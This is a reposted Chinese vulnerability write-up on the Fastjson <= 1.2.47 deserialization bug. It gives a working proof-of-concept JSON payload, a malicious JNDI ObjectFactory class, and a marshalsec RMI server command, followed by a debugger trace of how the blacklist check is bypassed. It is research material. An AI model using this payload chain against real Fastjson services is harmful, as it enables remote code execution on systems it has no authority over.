转载

Fastjson =< 1.2.47 反序列化漏洞分析

@Author: Patrilic @Time: 2020-3-14 23:08:55

Fastjson =&lt; 1.2.47 反序列化漏洞分析

0x00 RMI和LDAP的适用版本

  • RMI的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  • LDAP的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

0x01 Poc

Exp.java

package com.patrilic.fastjson;

import com.alibaba.fastjson.JSON;
//import com.alibaba.fastjson.JSONObject;

public class exp {
    public static void main(String[] argv) {
//        System.out.print("Success");
        String payload = "{/"name/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"x/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"rmi://localhost:1099/Exploit/",/"autoCommit/":true}}}";
        JSON.parse(payload);
    }
}

Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

RMI服务器由 marshalsec-0.0.3-SNAPSHOT-all.jar 启动

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001//#Exploit
Fastjson =&lt; 1.2.47 反序列化漏洞分析

运行exp的时候,发现并不能成功执行

因为jdk版本不支持,当前版本为8u191,ldap和rmi的方式都不行,切换版本到7u80

Fastjson =&lt; 1.2.47 反序列化漏洞分析

0x02 漏洞分析

程序最先进入到 DefaultJSONNParser ,将整个payload作为参数传入Json的解释器,进入到 DefaultJsonParser.parser() 函数

Fastjson =&lt; 1.2.47 反序列化漏洞分析

经过逐位的数据读取,将Json的Key分割开,调用 addSymbol() 函数加入到 symbolTable
Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析

如果获取到的key是 @type ,就通过 clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures()) 是否是黑名单中的类

Fastjson =&lt; 1.2.47 反序列化漏洞分析

因为 @type == "java.lang.class ,不在黑名单内,所以会将value带入加载

Fastjson =&lt; 1.2.47 反序列化漏洞分析

跟进deserializer

Fastjson =&lt; 1.2.47 反序列化漏洞分析

可以看到StrVal = objVal,而objVal就是等于poc中给出的val参数

Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析

然后下面经过一堆if判断,进入到

TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())
Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析

跟进 loadClass()
Fastjson =&lt; 1.2.47 反序列化漏洞分析

MiscCode:548行

Fastjson =&lt; 1.2.47 反序列化漏洞分析

最后进入JdbcRowSetImpl通过调用SetAutoCommit() -> connect()对dataSourceName进行lookup,实现rmi注入

com/alibaba/fastjson/parser/DefaultJSONParser.class
Fastjson =&lt; 1.2.47 反序列化漏洞分析

Fastjson =&lt; 1.2.47 反序列化漏洞分析

Fastjson =&lt; 1.2.47 反序列化漏洞分析

原文  https://patrilic.top/2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/
正文到此结束
Loading...